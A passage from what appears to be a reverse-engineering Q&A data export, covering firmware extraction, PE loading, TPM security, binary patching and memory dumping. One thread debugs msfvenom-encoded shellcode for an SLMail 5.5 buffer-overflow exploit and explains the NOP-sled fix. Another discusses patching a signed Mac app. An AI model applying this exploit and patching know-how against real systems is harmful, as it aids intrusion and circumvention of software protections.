    \n
    \n

    The basic idea behind stack protection is to push a "canary" (a randomly chosen integer) on the stack just after the function return pointer has been pushed. The canary value is then checked before the function returns; if it has changed, the program will abort. Generally, stack buffer overflow (aka "stack smashing") attacks will have to change the value of the canary as they write beyond the end of the buffer before they can get to the return pointer. Since the value of the canary is unknown to the attacker, it cannot be replaced by the attack. Thus, the stack protection allows the program to abort when that happens rather than return to wherever the attacker wanted it to go.4

    \n
    \n

    Here is some example annotated code:

    \n
    000000000040055d <test>:\n  40055d:   55                      push   %rbp\n  40055e:   48 89 e5                mov    %rsp,%rbp\n  400561:   48 83 ec 20             sub    $0x20,%rsp\n  400565:   89 7d ec                mov    %edi,-0x14(%rbp)\n  400568:   64 48 8b 04 25 28 00    mov    %fs:0x28,%rax     <- get guard variable value\n  40056f:   00 00 \n  400571:   48 89 45 f8             mov    %rax,-0x8(%rbp)   <- save guard variable on stack\n  400575:   31 c0                   xor    %eax,%eax\n  400577:   8b 45 ec                mov    -0x14(%rbp),%eax\n  40057a:   48 8b 55 f8             mov    -0x8(%rbp),%rdx   <- move it to register\n  40057e:   64 48 33 14 25 28 00    xor    %fs:0x28,%rdx     <- check it against original\n  400585:   00 00 \n  400587:   74 05                   je     40058e <test+0x31>\n  400589:   e8 b2 fe ff ff          callq  400440 <__stack_chk_fail@plt> \n  40058e:   c9                      leaveq \n  40058f:   c3                      retq   \n
    \n
    \n

    1. The Linux Programming Interface, Chapter 3 "System Programming Concepts"

    \n

    2. x86 Instruction Set Reference - CALL - c9x.me

    \n

    3. x86 Assembly Guide - University of Virginia Computer Science

    \n

    4. "Strong" stack protection for GCC - LWN.net

    \n" }, { "Id": "15666", "CreationDate": "2017-06-25T20:13:05.617", "Body": "

    I'm trying to reverse engineering my router firmware after reading an interesting article about an hidden backdoor inside router firmwares from a popular company.

    \n\n

    Data has been extracted (using raspberry pi b+ spi) directly from flash because there isn't a downloadable firmware around.

    \n\n

    partial serial output\n

    Start to decompress!\nBooting\nPress 'ESC' to enter BOOT console...\nExt. phy is not found. \nBoot from NOR/SPI flash\n(c)Copyright Realtek, Inc. 2012\nProject RTL8676S LOADER (LZMA)\nVersion 00.01.02a-rc (Nov 13 2014 17:15:26)\n

    \n\n

    binwalk output\n

    LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 70744 bytes\n(lots of lines like this one)

    \n\n

    findings\n

    0x8000 to 0xE777: bootloader?\n0x10000: rootfs start\n  first 0x13 byte: unknown data (header ?)\n  build date\n  string \"router.img\"\n  firmware data

    \n\n

    I think firmware is encrypted. I can't extract bootloader, kernel and rootfs for static analysis. Is it possible to emulate using qemu?\nFw link: flashimage pass: fi00

    \n\n

    Thanks in advance

    \n", "Title": "Router flash dump unknown filesystem", "Tags": "|hex|dumping|", "Answer": "

    From what I can see, it appears to be a binary image for a MIPS processor (big endian). The image appears to be loaded at offset 0x80000000. There is a subroutine at 0x80001d70 offset which prints out the initial \"Start to decompress!\" message at PC 0x80001e38. Hopefully that should get you started.

    \n" }, { "Id": "15675", "CreationDate": "2017-06-26T16:42:12.297", "Body": "

    I was able to download Linksys E1200 router firmware, which I would like to reverse engineer. I believe it is running some sort of Linux/Unix based firmware and may be running on an ARM CPU. I have run binwalk against it but I'm not sure what to do next.

    \n\n

    This is the output I get:

    \n\n
    32            0x20            TRX firmware header, little endian, image size: 7684096 bytes, CRC32: 0xB533F216, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x14FF20, rootfs offset: 0x0\n60            0x3C            gzip compressed data, maximum compression, has original file name: \"piggy\", from Unix, last modified: 2016-07-13 03:17:53\n1376064       0x14FF40        Squashfs filesystem, little endian, non-standard signature, version 3.0, size: 6307458 bytes, 1721 inodes, blocksize: 65536 bytes, created: 2016-07-13 03:23:19\n
    \n", "Title": "Help reverse engineering Linksys E1200 router firmware", "Tags": "|firmware|", "Answer": "

    The next step is extraction of the kernel and squashfs filesystem using the -e option when using binwalk. These extracted files can then be further analyzed. Running binwalk with the -A option on the bootloader and kernel files will provide clues about the instruction set architecture of the firmware. Performing an entropy scan with -E can be done to gain insight into the structure of the extracted files and is useful for identifying compressed or encrypted regions.

    \n\n

    A variety of tools exist for the purpose of squashfs filesystem extraction, such as squashfs-tools and sasquatch\n.

    \n\n

    A good example of the methodology employed in firmware analysis can be found here: Reverse Engineering Firmware: Linksys WAG120N

    \n\n

    Update after firmware download link was made available:

    \n\n

    To ensure that binwalk can properly extract SquashFS filesystem images, follow these steps:

    \n\n
      \n

    1. Install squashfs-tools:

      \n\n

      sudo apt-get install squashfs-tools

      2. \n

    2. In ~, clone sasquatch from github:

      \n\n

      git clone https://github.com/devttys0/sasquatch.git

      3. \n

    3. In ~/sasquatch, execute build.sh (check README.md to make sure all the dependencies are installed)

      4. \n
    \n\n

    Also check the version of binwalk installed locally:

    \n\n
    $ binwalk\n\nBinwalk v2.1.2b\nCraig Heffner, http://www.binwalk.org\n
    \n\n

    Extraction

    \n\n

    Compute md5sum of firmware binary:

    \n\n
    $ md5sum FW_E1200v2.0.7.005_US_20160713_code.bin \neb3752a5b72ccb0c9a92079fab88663e  FW_E1200v2.0.7.005_US_20160713_code.bin\n
    \n\n

    Run binwalk signature scan to confirm output:

    \n\n
    $ binwalk FW_E1200v2.0.7.005_US_20160713_code.bin \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n32            0x20            TRX firmware header, little endian, image size: 7684096 bytes, CRC32: 0xB533F216, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x14FF20, rootfs offset: 0x0\n60            0x3C            gzip compressed data, maximum compression, has original file name: \"piggy\", from Unix, last modified: 2016-07-13 03:17:53\n1376064       0x14FF40        Squashfs filesystem, little endian, non-standard signature, version 3.0, size: 6307458 bytes, 1721 inodes, blocksize: 65536 bytes, created: 2016-07-13 03:23:19\n
    \n\n

    Output appears to match output in the original post.

    \n\n

    Extraction:

    \n\n
    $ binwalk -e FW_E1200v2.0.7.005_US_20160713_code.bin \n
    \n\n

    Files are extracted to directory _FW_E1200v2.0.7.005_US_20160713_code.bin.extracted/:

    \n\n
    $ file *\n14FF40.squashfs: data\npiggy:           FoxPro FPT, blocks size 0, next free block index 15993608\nsquashfs-root:   directory \n
    \n\n

    Inside squashfs-root is the extracted filesystem:

    \n\n
    $ ll squashfs-root/\ntotal 88\ndrwxrwxrwx 13 user01 user01  4096 Jul 12  2016 ./\ndrwxr-xr-x  3 user01 user01  4096 Jun 26 15:16 ../\ndrwxr-xr-x  2 user01 user01  4096 Jul 12  2016 bin/\ndrwxr-xr-x  2 user01 user01  4096 Jul 12  2016 dev/\ndrwxrwxrwx  4 user01 user01  4096 Jul 12  2016 etc/\ndrwxr-xr-x  3 user01 user01  4096 Jul 12  2016 lib/\ndrwxr-xr-x  2 user01 user01  4096 Jul 12  2016 mnt/\ndrwxr-xr-x  2 user01 user01  4096 Jul 12  2016 proc/\ndrwxr-xr-x  2 user01 user01 12288 Jul 12  2016 sbin/\ndrwxr-xr-x  2 user01 user01  4096 Jul 12  2016 sys/\ndrwxr-xr-x  2 user01 user01  4096 Jul 12  2016 tmp/\ndrwxrwxrwx  6 user01 user01  4096 Jul 12  2016 usr/\nlrwxrwxrwx  1 user01 user01     7 Jun 26 15:16 var -> tmp/var\ndrwxr-xr-x 32 user01 user01 28672 Jul 12  2016 www/\n
    \n\n

    piggy

    \n\n

    Running file against piggy produces a false positive:

    \n\n
    piggy:           FoxPro FPT, blocks size 0, next free block index 15993608\n
    \n\n

    Running binwalk against piggy suggests that it contains Linux kernel code:

    \n\n
    $ binwalk piggy \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n2617344       0x27F000        Linux kernel version \"2.6.22 (zhang@sw3) (gcc version 4.2.3) #5 Tue Jun 7 18:33:13 HKT 2016\"\n2641040       0x284C90        CRC32 polynomial table, little endian\n2656556       0x28892C        CRC32 polynomial table, little endian\n2852300       0x2B85CC        Unix path: /usr/gnemul/riscos/\n2854956       0x2B902C        Unix path: /usr/lib/libc.so.1\n2927975       0x2CAD67        Neighborly text, \"NeighborSolicitsts\"\n2927999       0x2CAD7F        Neighborly text, \"NeighborAdvertisementsmp6OutDestUnreachs\"\n2928200       0x2CAE48        Neighborly text, \"NeighborSolicitsirects\"\n2928228       0x2CAE64        Neighborly text, \"NeighborAdvertisementssponses\"\n2930275       0x2CB663        Neighborly text, \"neighbor %.2x%.2x.%.2x:%.2x:%.2x:%.2x:%.2x:%.2x lost on port %d(%s)(%s)\"\n
    \n\n

    An entropy plot produced by binwalk -EJ piggy reveals a large contiguous area with an entropy of roughly .68:

    \n\n

    \"piggy

    \n\n

    This level of entropy is consistent with what is expected of regions containing object code.

    \n\n

    We can make an educated guess about what the instruction set architecture of the binary is by running binwalk with the -A argument:

    \n\n
    DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n1788          0x6FC           MIPSEL instructions, function epilogue\n2636          0xA4C           MIPSEL instructions, function epilogue\n4540          0x11BC          MIPSEL instructions, function epilogue\n4932          0x1344          MIPSEL instructions, function epilogue\n6092          0x17CC          MIPSEL instructions, function epilogue\n6476          0x194C          MIPSEL instructions, function epilogue\n6952          0x1B28          MIPSEL instructions, function epilogue\n7040          0x1B80          MIPSEL instructions, function epilogue\n8024          0x1F58          MIPSEL instructions, function epilogue\n8392          0x20C8          MIPSEL instructions, function epilogue\n9532          0x253C          MIPSEL instructions, function epilogue\n9840          0x2670          MIPSEL instructions, function epilogue\n12552         0x3108          MIPSEL instructions, function epilogue\n12682         0x318A          MIPS instructions, function epilogue\n12836         0x3224          MIPSEL instructions, function epilogue\n13364         0x3434          MIPSEL instructions, function epilogue\n
    \n\n

    The ISA is likely MIPS little-endian.

    \n" }, { "Id": "15681", "CreationDate": "2017-06-26T18:49:30.603", "Body": "

    All Portable Executable files that I've found with zero imports in the Import Address Table have not functioned. I also know that while .NET files often do not have the typical OS imports, they must still import either _CorExeMain or RHBinder__ShimExeMain.

    \n\n

    Lastly, even packed files, while they will not have the main modules' imports, will still have imports necessary to start and unpack the file. Is it possible for a .exe PE file to have absolutely zero imports but still run and perform any useful function on a machine?

    \n\n

    Please note: I am not talking about DLL files which are used by other executables for their function exports. I am talking about a standalone .exe file.

    \n", "Title": "Is it possible for a .exe PE file to do something without any imports at all?", "Tags": "|pe|executable|", "Answer": "

    Yes, it is possible but may depend on the OS you're trying to run it on. From the TinyPE page by Alexander Sotirov:

    \n\n
    \n

    Unfortunately the 97 byte PE file does not work on Windows 2000. This\n is because the loader tries to call a function from KERNEL32, but\n KERNEL32.DLL is not loaded. All other versions of Windows load it\n automatically, but on Windows 2000 we have to make sure that\n KERNEL32.DLL is listed in the import table of the executable.\n Executing a PE file with no imports is not possible.

    \n
    \n\n

    So, if you use XP or above you can rely on kernel32 being in memory and use its functions. I suspect (but did not check) that even on Windows 2000 the ntdll.dll is mapped by the kernel, so you may be able to use it to do useful work (e.g. LdrLoadDll to load other DLLs and LdrGetProcedureAddress to resolve functions).

    \n" }, { "Id": "15685", "CreationDate": "2017-06-27T01:26:09.567", "Body": "

    I'm trying to access the filesystem of the EA2750's firmware. Here is a link to download it http://downloads.linksys.com/downloads/firmware/FW_EA2750_1.1.7.172380_prod.img. The problem is it is an img file and I'm not exactly sure how to go about trying to access it.

    \n\n

    Here is the binwalk signature scan output:

    \n\n
    $ binwalk FW_EA2750_1.1.7.172380_prod.img \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             uImage header, header size: 64 bytes, header CRC: 0x143599, created: 2016-05-04 16:53:12, image size: 1935492 bytes, Data Address: 0x80000000, Entry Point: 0x8000C2F0, data CRC: 0x57C547E2, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: \"Linksys EA2750 Router\"\n64            0x40            LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 5956532 bytes\n1966080       0x1E0000        JFFS2 filesystem, little endian\n
    \n", "Title": "Need help extracting JFFS2 filesystem from .img firmware binary", "Tags": "|binary-analysis|firmware|", "Answer": "

    Use the command binwalk -Me FW_EA2750_1.1.7.172380_prod.img

    \n\n

    This will recursively extract all files and even extract the JFFS2 filesystem into the folder _FW_EA2750_1.1.7.172380_prod.img.extracted/jffs2-root/fs_1

    \n\n

    Edit: As to your jefferson issue, I believe you need to install cstruct 1.0. So.. https://github.com/sviehb/jefferson/issues/9

    \n" }, { "Id": "15686", "CreationDate": "2017-06-27T05:22:03.283", "Body": "

    I have been thinking about it lately and was wondering if a Man In The Middle attack could be established physically on a motherboard.

    \n\n

    The goal would be to intercept the signals between two components and to manipulate the signals as well. I assume this could be done through drilling holes in the circuit, and having a separate device bridge a new connection.

    \n\n

    Would this be possible?

    \n\n

    Thanks.

    \n", "Title": "MITM a Connection Between Components on a Motherboard", "Tags": "|physical-attacks|", "Answer": "

    I remember seeing a brute forcing device for iPhones a little while ago. There is also a device out there for breaking BIOS passwords on certain thinkpads by connecting to an IC of some sort but I can't find the article.

    \n\n

    Although those methods probably differ in some aspects from a MITM attack, the way you describe would seem perfectly valid based on those devices.

    \n" }, { "Id": "15691", "CreationDate": "2017-06-27T08:48:07.587", "Body": "

    I am currently learning and I wanted to ask, how can I change a text (string) from inside an app I am reversing? For example \"To begin, please login\". I have found the XREF to the string location but I don't know how to change it. I am using Hopper Disassembler on mac.

    \n", "Title": "Changing strings in Hopper Disassembler", "Tags": "|patch-reversing|hopper|", "Answer": "

    You can modify strings or other bytes within the hex editor (\u21e7\u2318H) or click on the hex edit panel.

    \n\n

    \"hexedit

    \n\n

    Then modify whatever you want

    \n\n

    \"edit\nYou'll need to write a new executable back (\u21e7\u2318E) if you want to save it. Also, be aware that if it is a signed binary, you will need to remove any code signature or resign it as the binary won't match the signature after a change.

    \n" }, { "Id": "15709", "CreationDate": "2017-06-28T19:36:14.980", "Body": "

    Background

    \n

    In my endeavor to RE my router, I'm trying to emulate a router's firmware inside a QEMU MIPS system. I have debian-mips installed to a virtual disk that runs just fine. Its a MIPS32 Big Endian system. I don't have any issue with the debian system. I have extracted the root file-system and uploaded it to the debian-mips system.

    \n

    Issue

    \n

    My issue is when I attempt to run any of the binaries from the router firmware:

    \n
    root@debian-mips:~/firm# chroot . ./bin/busybox.old \n./bin/busybox.old: can't load library 'libcms_boardctl.so'\n
    \n

    However, I know it's there:

    \n
    root@debian-mips:~/firm# ls -l ./lib/public/\ntotal 1512\n-rwxrwxrwx 1 root root    7280 Jun 28 18:27 libcms_boardctl.so\n-rwxrwxrwx 1 root root   11320 Jun 28 18:27 libcms_msg.so\n-rwxrwxrwx 1 root root  148944 Jun 28 18:27 libcms_util.so\n-rwxrwxrwx 1 root root 1083432 Jun 28 18:27 libcrypto.so.0.9.8\n-rwxrwxrwx 1 root root  275712 Jun 28 18:27 libssl.so.0.9.8\n
    \n

    Maybe my google-fu is lacking, but there is not much information on the internet about chrooting MIPS environments. Thank you for your time.

    \n

    Edit add'l file info:

    \n
    root@debian-mips:~/firm# file public/libcms_boardctl.so \npublic/libcms_boardctl.so: ELF 32-bit MSB shared object, MIPS, MIPS32 version 1 (SYSV), dynamically linked, corrupted section header size\n
    \n", "Title": "library issue when running mips binary in a chrooted environment", "Tags": "|firmware|linux|mips|qemu|emulation|", "Answer": "

    Well I'm not sure why this is the answer but inside /lib are two directories: ./lib/public and ./lib/private

    \n\n

    Simply running the command cp -r ./lib/public/* ./lib/private/* ./lib will allow your binaries to function properly.

    \n\n

    Hopefully this question will help anyone who comes across my issue in the future as I could not find another instance of this event occurring. If someone has more information why this happens please leave me a comment :)

    \n" }, { "Id": "15712", "CreationDate": "2017-06-28T22:00:42.033", "Body": "

    Playing with the debugger x64dbg, I noticed that my application uses multiple threads as shown below:

    \n\n

    \"threads\"

    \n\n

    Among them, one thread is certainly used for the window, as the application is a window application.

    \n\n

    The strange thing is that the EIP never changes.

    \n\n

    However, moving the window or write in it must change the EIP right? As the thread responsible for the window must run continuously in order to prevent the window from freezing.

    \n\n

    Can you explain why the EIP never changes? Is it related to x64dbg?

    \n\n

    Thanks !

    \n", "Title": "Window application - Does the debugger stop the window thread?", "Tags": "|debugging|", "Answer": "

    Each user thread has its own instruction pointer, as all registers are saved and reloaded with new data when a thread switch occurs. https://en.wikipedia.org/wiki/Thread_(computing)#User_threads You can confirm this on x64dbg by clicking "switch thread" on a new thread in the Threads tab and then viewing the new instruction pointer in the CPU tab.

    \n

    So, if there is action on a particular thread that you don't believe you are seeing, it might be because you are not viewing the disassembly for the correct thread. This means that you need to know which thread is performing the action in advance.

    \n

    In analyzing one program, I set breakpoints within the code of each thread displayed in the Threads window to see what would happen when I interacted with a pop-up window in the debuggee. Taking care that the inserted breakpoints were located immediately after each thread's instruction pointer, I found that I succeeded in freezing the debuggee's main window, necessitating a complete logout to recover. So far, though, I can't isolate the code launched by the pop-up window. Maybe I need a conditional breakpoint?

    \n

    I tried setting up a trace while the debuggee was open, hoping to catch the action generated by the pop-up window, but x64dbg threw an error: "Failed to start trace!"

    \n

    Any ideas?

    \n" }, { "Id": "15714", "CreationDate": "2017-06-29T09:55:57.300", "Body": "

    I\u2019m not quite sure whether this is the right website to post this on but...

    \n\n

    I want to try and dump sequence data from a Casio Keyboard default soundbank

    \n\n

    I believe it\u2019s stored on a ROM chip of some description, but I\u2019m not sure which one.

    \n\n

    I have no idea how this would be done, but I\u2019m interested to learn how.

    \n\n

    Thanks

    \n", "Title": "Dump Sequence Data from Casio electronic keyboard", "Tags": "|hardware|dumping|", "Answer": "

    First Step: Research

    \n

    First off just do some research on your product. See if anyone has done any research or reverse engineering on your particular keyboard model. If no one has done any work on it before you will have to venture off on your own.

    \n

    Second Step: Disassembly

    \n

    You will probably need to open up the keyboard if the developers didn't include some kind of external debugging port. When you open the case of the keyboard, take pictures of exactly how you took it apart so you can reassemble it.

    \n

    Third Step: Debugging Port

    \n

    Once it's apart you will want to look for some kind of debugging pins or headers. Most of the time this comes in the form of JTAG headers. There is plenty of information on the internet of how to interface with these.

    \n

    Fourth Step: Being Creative

    \n

    If you don't believe there is a debugging interface that could become tricky. We know the information is on the circuit board we just need to discover where it is. Look for either some form of flash memory component or a chip with several pins coming out of it. Sometimes manufacturers purposely prevent people from reverse engineering their product. This comes in the form of Glob top and other nefarious methods.

    \n

    If you want you can post some more information about your keyboard (dissassembly pictures, model number, serial numbers, etc..) and the site can help you out more. Don't get discouraged if all of this feels overwhelming.

    \n" }, { "Id": "15717", "CreationDate": "2017-06-29T12:58:27.847", "Body": "

    I have a signed mac app and I don't have the source code of the app.\nI know address locations of some assembly instructions which I need to change so as to make this app to work in certain way. So I'm trying to write a patcher, which should be able to read the assembly of original mac app and change those addresses and produce new mac app with no signature.

    \n\n

    This patcher should be a stand alone mac app.\nThe patcher should patch the original app and produce the modified one.

    \n\n

    How can I do this? I just need some guidance to write this patcher.

    \n", "Title": "Creating a patcher for a mac app", "Tags": "|disassembly|assembly|osx|", "Answer": "

    There are several aspects for this:

    \n\n\n\n

    UPDATE:

    \n\n

    To automate the on-disk patching, one can use a pretty easy way which is based on some pattern matching and a little bit of heuristics:

    \n\n\n\n

    All the above will be sufficient (hopefully) to accommodate version changes and assure that you change at the right place. Such patcher could be easily coded with Python. For disassembling you can use Capstone library which has Python binding.

    \n\n

    Take into account that, you fill make OSX complain about this patched app as it will not be signed any more.

    \n" }, { "Id": "15728", "CreationDate": "2017-06-30T20:14:56.960", "Body": "

    Is there a way to dump a section of process memory knowing the start and end address to raw bin file via a winapi function or some other method? I know that you can do this easily with a debugger, but that's not what I'm looking for.

    \n", "Title": "Dumping Memory to Raw File", "Tags": "|winapi|dumping|memory-dump|", "Answer": "

    you can craft a powershell script in case of emergency (no python no internet only base machine cant install anything whatever )

    \n\n

    the code below is rubbish hack you may need to declare proper managed types etc to make it robust it is just to show an idea

    \n\n
    $procid = (Get-Process -Name $args[0]).Id\n$baseaddr = (Get-Process -Name $args[0] -Module)[0].BaseAddress;\n$signature = @\"\n[DllImport(\"kernel32.dll\")] public static extern IntPtr OpenProcess(\n    uint h,bool b ,uint p);\n[DllImport(\"kernel32.dll\")] public static extern bool ReadProcessMemory(\n    IntPtr hp,IntPtr Base,[Out]Byte[] buff,int Size,[Out]int bread);\n\"@\n$rpm = Add-Type -MemberDefinition $signature -Name rpm -PassThru\n[Byte[]] $buff = New-Object Byte[](256)\n[int]$bread =0;\n$proc = $rpm::OpenProcess(0x001F0FFF,0,$procid);\n$read = $rpm::ReadProcessMemory($proc,$baseaddr,$buff,256,$bread);\n$a = \"\";\n$a+=[char[]]$buff[0..1]+[char[]]$buff[78..118]\n$procid\n\"{0:X}\" -f [int]$baseaddr\n$a\n
    \n\n

    running it like

    \n\n
    powershell -f foo.ps1 note*\n3388\n8D0000\nM Z T h i s   p r o g r a m   c a n n o t   b e   r u n   i n   D O S   m o d e .\n\npowershell -f foo.ps1 exp*\n304\nC40000\nM Z T h i s   p r o g r a m   c a n n o t   b e   r u n   i n   D O S   m o d e .\n
    \n" }, { "Id": "15731", "CreationDate": "2017-07-01T05:10:47.723", "Body": "

    As you may know, the TPM (Trusted Platform Module), which resides on the LPC bus, allows the storage and retrieval of encryption keys and certificates securely.

    \n\n

    Within this Trusted Computing concept, however, is it actually secure? (Base-line question, please keep reading)

    \n\n

    I have found that TPM 1.1 transmits encryption keys and certificates over the LPC bus in plain text. (1)

    \n\n

    Is this true for recent versions of TPMs (1.2, 2.0)? If not, how is it that they've mitigated this issue? I see no way for this to be feasibly fixed.

    \n\n

    Thank you.

    \n\n

    1: \"The authors (Schellekens et al.) of [an LPC MITM attack with a TPM] passively analyzed the communication of version 1.1 TPMs with the remaining platform and observed that certain operations like unsealing used to transmit TPM protected secrets in plain over the LPC bus.\" ~ A Hijacker\u2019s Guide to the LPC Bus, page 186

    \n", "Title": "Do TPMs Send Stored Keys in Plaintext?", "Tags": "|encryption|physical-attacks|", "Answer": "

    As far as I know, TPM 1.2 has something called Transport Protection/Security to establish a secure channel with the TPM but it's difficult to find documentation on it. It is most probably some variant on key exchange.

    \n\n

    Now of course a secure channel is useless per-se because you can still swap the TPM with a tempered oned. Thus a TPM comes with what is called the endorsement key. The idea is that each TPM chip has a private key burned by the manufacturer and never released. When the machine is assembled, the manufacturer will typically burn some kind of signature for this specific TPM in the OTP part of the CPU. That way the CPU can send a challenge to the TPM to make sure it is legitimate. That together with the secure channel reduces the hardware attack surface a lot (but not completely). Note that there are all kinds of issues with the endorsement key, such as how to do you know the manufacturer did not give the key to the NSA behind your back.

    \n\n

    It should be noted that there is trend to put the TPM directly into the CPU/PCH which makes it much harder to temper with. Another common thing is to the implement the TPM in software (fTPM) in a secure environment (such as TEE) based on SGX (x86) or TrustZone (ARM) for example.

    \n" }, { "Id": "15732", "CreationDate": "2017-07-01T06:04:46.370", "Body": "

    I'm new to using x32/64dbg and I have an EXE with PDB symbols and want to disassemble and debug an unmanaged function call. It's from an x86 .NET 2.0 DLL where the unmanaged code sits compiled inside the EXE.

    \n\n

    I have looked up the internal call that I want to debug in the symbols, and set up breakpoints on the entry and exit of the function.

    \n\n

    The function takes a set of 3 32-bit floats in the .NET DLL method call as inputs through an internal call that runs some calculations and then outputs a set of 4 32-bit floats back to .NET.

    \n\n

    The function basically does a few sin/cos/atan2 calls on the parameters, along with some other math that I want to review for accuracy. Is there a way to read the parameter values as floats? I couldn't seem to find this in the docs anywhere. Basically I just need to get the values of the inputs and outputs to the function.

    \n\n

    In the lack of finding a method I tried to whip up a quick app to input 4 bytes as hex and output the sign/exponent/significand based on some docs here (https://msdn.microsoft.com/en-us/library/system.single(v=vs.110).aspx) but my results aren't matching up with the app's input, I'm sure I'm not doing something right.

    \n\n

    Disassembly of the function looks like so:

    \n\n
    push ebp\nmov ebp,esp\nmov eax,dword ptr ss:[ebp+8]\nsub esp,10\npush 4\npush eax\nlea ecx,dword ptr ss:[ebp-10]\npush ecx\ncall <testapp.ConversionFunction>\nmovq xmm0,qword ptr ds:[eax]\nmov ecx,dword ptr ss:[ebp+C]\nmovq dword ptr ds:[ecx],xmm0\nmovq xmm0,qword ptr ds:[eax+8]\nadd esp,C\nmovq qword ptr ds:[ecx+8],xmm0\nmov esp,ebp\npop ebp\nret\n
    \n", "Title": "Viewing 32-bit floats in Internal Call disassembly from .NET 2.0 DLL in x64dbg", "Tags": "|disassembly|float|", "Answer": "

    After a little digging I got it. Right click your Dump to change data types between address and float. You have to follow the address of the address pointed to by esp-4 to get the parameters.

    \n" }, { "Id": "15745", "CreationDate": "2017-07-02T05:50:08.973", "Body": "

    I'm trying to understand the exploit for SLMail 5.5.

    \n\n

    Here is the basic flow :

    \n\n
      \n
    1. I'm able to control EIP and point to an instruction \"JMP ESP\"
      2. \n
    2. ESP is pointing to the exact start position of my shellcode.\n(Shell code is encoded with shikata_ga_nai encoder in msfvenom)
      3. \n
    3. As ESP is pointing to the exact location which I want, I feel I don't think nop slide is required.But i'm seeing wired results when nop is not used.I hope some can shed some light on this.
      4. \n
    \n\n

    4) Below are the first few instructions that my shellcode has without NOP slide, as soon as the highlighted weird instruction is executed, the instructions in the memory are getting changed (So weird!!)

    \n\n
    0159A128   BF A849F49D      MOV EDI,9DF449A8\n0159A12D   D9E5             FXAM\n0159A12F   D97424 F4        FSTENV (28-BYTE) PTR SS:[ESP-C] <-- Weird instruction\n0159A133   5B               POP EBX\n0159A134   33C9             XOR ECX,ECX\n0159A136   B1 52            MOV CL,52\n0159A138   317B 12          XOR DWORD PTR DS:[EBX+12],EDI\n0159A13B   83EB FC          SUB EBX,-4\n0159A13E   03D3             ADD EDX,EBX\n
    \n\n

    My memory looks this after the execution of the highlighted instruction:

    \n\n
    0159A12F   0100             ADD DWORD PTR DS:[EAX],EAX\n0159A131   0000             ADD BYTE PTR DS:[EAX],AL\n0159A133   0000             ADD BYTE PTR DS:[EAX],AL <--Jumping here after the weird instruction\n0159A135   00FF             ADD BH,BH\n0159A137   FF31             PUSH DWORD PTR DS:[ECX]\n0159A139   7B 12            JPO SHORT 0159A14D\n0159A13B   83EB FC          SUB EBX,-4\n0159A13E   03D3             ADD EDX,EBX\n
    \n\n

    But with NOP slide appended to the shellcode, the below instruction which is actually in the line of execution gets excuted weithouit any hassle and making the exploit to work....

    \n\n
    0159A133   5B               POP EBX\n
    \n\n

    Can anyone explain why I need NOP slide to stop this weird behavior.\nThank You.

    \n", "Title": "Why shell code only with nop slide working for me?", "Tags": "|exploit|metasploit|", "Answer": "

    Let's look up what the \"weird instruction\" does:

    \n\n
    \n

    Saves the current FPU operating environment at the memory location\n specified with the destination operand, and then masks all\n floating-point exceptions. The FPU operating environment consists of\n the FPU control word, status word, tag word, instruction pointer, data\n pointer, and last opcode

    \n
    \n\n

    In our case, the destination is ESP-C, which is 12 bytes before the start of the code (if code starts at ESP). Since the FPU state is 28 bytes, it goes further and overwrites the beginning of shellcode with the FPU values. If you add a NOP sled, the sled gets overwritten which has no effect because it won't be executed again. Without the sled, the currently executing instructions are overwritten which breaks the shellcode.

    \n\n

    Apparently FSTENV is used as a part of the \"getpc\" primitive (one of the values stored is the current EIP) and it requires some stack space for the environment. So you need to ensure that either you have free space around ESP or add a NOP sled for padding. Or you can try modifying the encoder to use a more common call $+5/pop ebx sequence which would overwrite only one dword at ESP.

    \n" }, { "Id": "15747", "CreationDate": "2017-07-02T12:19:00.777", "Body": "

    Many applications (in particular most games) offer a set of resolutions to choose from. Some of them are pretty open and allow basically every resolution the underlying system seems to be capable of, others are pretty restrictive and offer just a small set of resolutions. If the difference between offered and native resolution is too big, the application becomes hardly usable.

    \n\n

    On my search for a solution, the amount of resolution-mods available and especially this thread made me curious: How does one find out where an application stores the resolutions it allows? And also, how does one find out what to insert instead?

    \n\n

    Remark: I legally own (bought) the installers for all applications I want to experiment with. They are sold DRM-free and I do not redistribute any parts, it's just for my personal use. Therefore I assume, that my intent is perfectly valid.

    \n\n

    EDIT: @BrandonBryant's comment made me realize that my question is to broad and I apologize for this. I don't think that I can improve my question much, since I don't really know what to ask for specifically. If it's not off-topic, any hint on \"How to get started?\" would be highly appreciated.

    \n", "Title": "How to find out where an application stores the resolutions it allows?", "Tags": "|binary-analysis|binary|binary-format|binary-diagnosis|", "Answer": "

    One method (theoretical at this point) that comes to mind is searching for constants like resolution numbers in instructions for example, a game uses 600x800 resolution - you might find instructions like

    \n\n
    push 0x320 #800 in decimal\npush 0x258 #600 in decimal\ncall initwindowfunction_orsomething\n
    \n\n

    or it might reference integers stored in a data section or allocated memory, or use a completely different method.\nthat is one example however, and of course there are many many different ways they might do this I hope this can get you started or at least help you come up with some ideas.

    \n\n

    I have no practical research that supports this yet, but will try to find something in my free time

    \n\n

    --EDIT--

    \n\n

    Another idea is to look at different open source games, maybe ones similar to your target, and figure out how they do it.

    \n" }, { "Id": "15756", "CreationDate": "2017-07-04T12:40:57.030", "Body": "

    For example I have eax 7c9100a4 -> ntdll.RtlCreateHeap\nI can get reg value in my plugin but I can't get the api name\nHow can get the correct api name from the address?

    \n", "Title": "How to get API name from address in registry value in IDA plugin", "Tags": "|ida|ida-plugin|", "Answer": "
    NameEx(BADADDR, GetRegValue(\"EAX\"))\n
    \n" }, { "Id": "15761", "CreationDate": "2017-07-04T21:17:49.030", "Body": "

    \"IDA

    \n\n

    What are grey dashed lines supposed to represent in IDA? I am new to IDA + new to reverse engineering in general. I originally thought these marked functions that IDA hadn't defined but looking into blocks that don't return etc this probably isn't the case.

    \n\n

    Could anyone enlighten me on what these signify?

    \n", "Title": "What do the grey dashed lines in IDA's text view represent?", "Tags": "|ida|", "Answer": "

